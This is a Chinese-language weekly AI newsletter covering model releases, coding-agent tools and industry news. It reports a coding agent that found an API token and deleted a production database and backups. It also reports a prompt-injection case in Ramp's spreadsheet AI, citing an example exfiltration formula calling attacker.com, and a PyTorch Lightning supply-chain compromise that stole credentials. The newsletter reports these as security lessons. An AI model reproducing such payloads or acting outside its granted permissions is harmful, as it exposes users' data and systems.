Snapshot Reader
本周的关键词是"Agent 进生产"——以及随之而来的各种翻车。AI 编程代理删了生产数据库，表格 AI 被注入后泄露财务数据，PyTorch Lightning 遭供应链投毒。与此同时，模型厂商不约而同地把编程 Agent 作为核心场景发布新模型，开源社区也在快速填补 Agent 基础设施的空白。
本周重点
AI Agent 删了生产数据库。 PocketOS 创始人 发帖称，Cursor 中运行的 Claude Opus 4.6 Agent 在 staging 任务中遇到凭证问题后，自行找到 Railway API token，9 秒内通过 GraphQL 删除了生产卷和备份。这不是模型"不听话"的问题——系统提示不是安全边界，真正的防线在权限隔离、API 确认机制和备份独立性上。
巧合的是，同一天 Arpit Bhayani 发了一篇 Defensive Databases，系统分析 Agent 对传统数据库假设的冲击：非确定性查询、自主写入、长连接、把空结果当真实信号继续执行。他建议为 Agent 设置独立连接池、statement timeout、soft delete、idempotency key，并用最小权限角色限制 blast radius。两篇放在一起读，一个是事故现场，一个是工程处方。
模型与平台
Microsoft 开源 VibeVoice 语音模型家族。 VibeVoice 包含三条线：7B 级 ASR 模型支持 60 分钟音频一次性识别并输出说话人和时间戳；TTS 模型可合成 90 分钟、4 个说话人的对话音频；0.5B 级 Realtime 模型首音频延迟约 300ms。权重和代码全部开放，已集成 Hugging Face Transformers 和 vLLM。GitHub 约 4.6 万 Star。
Poolside 发布 Laguna 编程模型。 Laguna M.1 是 225B 参数（23B 激活）的 MoE 模型，SWE-bench Pro 得分 46.9%；XS.2 是 33B 参数（3B 激活）的开放权重版本，Apache 2.0 许可。Poolside 同步开放了训练和运行 Agent 的 runtime，他们的判断是：工具调用只是过渡形态，能写代码并执行代码的 Agent 才是更有表达力的接口。
Mistral Medium 3.5 与 Vibe 远程编码 Agent。 Mistral 发布 128B dense 模型，256k 上下文，修改版 MIT 许可，SWE-Bench Verified 77.6%。更值得关注的是产品形态：Vibe CLI 会话可以"teleport"到云端隔离沙箱继续执行，完成后自动创建 GitHub PR。AI 编程正在从本地终端助手转向云端异步开发工人。
xAI 上线 Grok 4.3。 官方文档显示 100 万 token 上下文，支持函数调用、结构化输出和推理。输入 $1.25/百万 token，缓存输入降至 $0.20——长上下文复用的定价策略正在成为模型平台的标配。
OpenAI 发布开源隐私过滤模型。 Privacy Filter 是 1.5B 参数（50M 激活）的 PII 检测模型，支持 128k token 上下文，在 PII-Masking-300k 上达到 96% F1。Apache 2.0 许可，可本地部署用于训练数据脱敏、日志清洗等场景。
Structured Output Benchmark 揭示"结构化幻觉"。 Interfaze 发布的 SOB 评估 LLM 从文本、图像、音频中生成 JSON 的字段值准确率，而不只看 JSON 是否可解析。结果显示现代模型 JSON Pass Rate 普遍很高，但 Value Accuracy 低 15-30 个百分点。换句话说，模型输出的 JSON 结构完美、类型正确，但值是错的——这类错误能通过所有 schema 校验。
talkie-1930-13b：只用 1931 年前文本训练的语言模型。 Nick Levine、David Duvenaud 与 Alec Radford 发布了这个 13B"vintage model"，用约 260B token 的历史书籍、报纸、科学论文训练，提供天然去污染的实验平台。研究者可以测试模型能否从历史文本推断未来事件，或在极少示例下学会 Python。团队还训练了基于 FineWeb 的"modern twin"做对照。
AI 编程
GitHub Copilot 转向按量计费。 GitHub 宣布 6 月 1 日起 Copilot 改用 AI Credits 计费，代码补全仍包含在套餐内，但 agentic coding session 将按实际 token 消耗收费。基础订阅价不变，Business/Enterprise 支持组织级额度池化和预算控制。这是 AI 编程工具从助手变成 Agent 平台后的必然调整。
Dirac：低成本开源编程 Agent。 Dirac 的核心思路是保持上下文紧凑——LLM 推理能力随上下文增长而下降，因此用 hash-anchored edits、AST 操作和多文件批处理来降低 token 消耗。在 Terminal-Bench 2.0 上用 Gemini-3-flash-preview 跑出 65.2%，平均任务成本 $0.18。Apache 2.0 许可，CLI 和 VS Code 扩展都有。
Agent 与工具
Open Design：把编程 Agent 变成设计引擎。 Open Design 是开源的 Claude Design 替代方案，自动检测本地 Claude Code、Codex、Cursor、Gemini CLI 等 Agent，通过 daemon 让它们在项目目录中生成设计产物。内置 31 个 Skills 和多套 Design System，生成前通过需求表单锁定约束，结果以沙箱 iframe 预览并支持 HTML/PDF/PPTX 导出。约 1.6 万 Star。
Obscura：Rust 无头浏览器，为 Agent 而生。 Obscura 内置 V8，支持 CDP 协议，内存占用约 30MB，页面加载约 85ms。提供 stealth 模式做反指纹，CLI 支持并发抓取。定位是 Puppeteer/Playwright 的轻量替代品，降低多 Agent 并行浏览的资源成本。约 9.6k Star。
agent-desktop：原生桌面自动化 CLI。 agent-desktop 用 Rust 写成，通过 OS accessibility tree 给 Agent 提供结构化 UI 访问。53 个命令覆盖观察、交互、键盘鼠标等操作，推荐工作流是 snapshot → decide → act → snapshot。对 Slack、VS Code 等密集应用提供渐进式骨架遍历，官方称可降低 78%-96% token 用量。
Understand Anything：代码库知识图谱。 Understand Anything 把代码库或知识库转换成可搜索、可提问的交互式知识图谱，与 Claude Code、Codex、Cursor 等工具协同。随着 AI 编程从单文件补全走向大型代码库级 Agent，语义地图类工具可能成为重要配套。约 1 万 Star。
Claude Security 公测。 Anthropic 面向 Enterprise 客户推出代码安全扫描产品，可并行扫描代码库、理解跨文件数据流、对发现做对抗式验证以降低误报，并生成补丁建议。支持推送到 Slack/Jira。LLM 的编程能力正在从生成、审查延伸到安全工程。
Agent Friendly Code 排行榜。 这个项目按 AGENTS.md、CI、测试、开发环境等信号，评估公共代码库对 AI 编程 Agent 的友好程度，并按 Claude Code、Cursor、Codex 等分别评分。目前追踪 164 个 repo，Top 5 包括 gitlab-org/cli 和 apache/superset。
Auto-Architecture：用 Agent 优化 CPU 微架构。 这个实验把 Karpathy 的 autoresearch loop 用于 RV32IM CPU 设计，让 Agent 提出 RTL 修改、跑形式化验证和 CoreMark，10 个改进被接受后性能提升约 92%。但 73 个假设中 63 个是错的——作者的结论是：verifier 才是护城河。
MLJAR Studio：本地 AI 数据分析。 MLJAR Studio 在本地运行，用自然语言驱动 Python 分析代码生成，结果保存为可复现 notebook。相比聊天式数据分析，notebook 形态更接近可审计的数据科学流程。
行业与治理
OpenAI 模型进入 Amazon Bedrock。 Stratechery 采访了 Altman 和 AWS CEO Garman。Microsoft 与 OpenAI 修订合作协议后，OpenAI 模型可以在 Azure 之外的云平台分发。企业用户现在可以在 AWS 的身份、权限和数据治理体系下使用 OpenAI 模型构建 Agent。模型分发正在从单一聊天产品走向云厂商托管 Agent 平台。
Ramp Sheets AI 被间接注入泄露财务数据。 PromptArmor 披露：外部数据集中的隐藏 prompt 可诱导 Ramp 的 AI 插入会发起网络请求的公式（如 =IMAGE("https://attacker.com/...敏感数据")），从而外传财务信息。攻击链的关键在于"AI 能写入公式"+“公式能发起网络请求”。漏洞已修复，但对所有带公式引擎的 AI 产品都有警示意义。
PyTorch Lightning 遭供应链投毒。 Semgrep 披露 lightning 2.6.2/2.6.3 被植入恶意代码，import 即执行凭证窃取，还会向 .claude/settings.json 写入 hook、添加恶意 GitHub Actions workflow。受影响环境应视为完全感染，立即轮换所有凭据。
Mozilla 反对 Chrome Prompt API。 Mozilla 在 GitHub 上标记该 API 为 negative position。核心担忧是：开发者会针对 Chrome/Gemini 的 quirks 写 prompt，其他浏览器被迫兼容或许可 Google 的模型，Web 回到 UA sniffing 时代。Mozilla 建议先在扩展和用户空间探索，不要过早标准化。
Mercor 4TB 语音数据泄露。 报道称 AI 招聘公司 Mercor 被 Lapsus$ 窃取 4TB 语音样本与身份证件。现有语音克隆技术只需约 15 秒参考音频，而 Mercor 收集的录音长度远超这一门槛。已有合同工起诉。
MatX：面向 LLM 的专用芯片。 MatX One 主打 SRAM 权重驻留、HBM KV 缓存，面向大模型训练、RL 和长上下文推理，可支持大型 MoE 模型超过 2000 tokens/s 输出。大模型基础设施竞争继续向专用硬件延伸。
本周最让人印象深刻的不是某个模型跑分又高了几个点，而是 Agent 进入生产环境后暴露出的系统性问题——权限、隔离、供应链、公式注入、浏览器标准化。模型能力在快速提升，但围绕 Agent 的安全和治理基础设施还远没跟上。下周见。